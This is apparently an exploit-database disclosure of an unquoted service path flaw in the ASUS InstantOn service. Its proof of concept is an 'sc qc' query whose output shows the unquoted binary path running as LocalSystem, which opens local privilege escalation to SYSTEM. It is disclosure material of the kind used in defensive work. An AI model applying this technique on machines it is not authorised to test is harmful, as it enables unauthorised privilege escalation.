30 lines
No EOL
1.1 KiB
Text
30 lines
No EOL
1.1 KiB
Text
# Exploit Title: InsOnSrv Asus InstantOn- Privilege Escalation Unquoted Service Path vulnerability
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# Date: 13/10/2016
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# Exploit Author : Cyril Vallicari
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# Vendor Homepage: www.asus.com
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# Version: 2.3.1.1
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# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)
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The application suffers from an unquoted service path issue impacting the service 'ASUS InstantOn (InsOnSrv.exe)' deployed as part of Asus InstantOn
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This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.
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POC :
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C:\Users\Utilisateur>sc qc "ASUS InstantOn"
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[SC] QueryServiceConfig réussite(s)
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SERVICE_NAME: ASUS InstantOn
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ASUS InstantOn\InsOnSrv.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : ASUS InstantOn Service
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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Additional notes :
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https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu |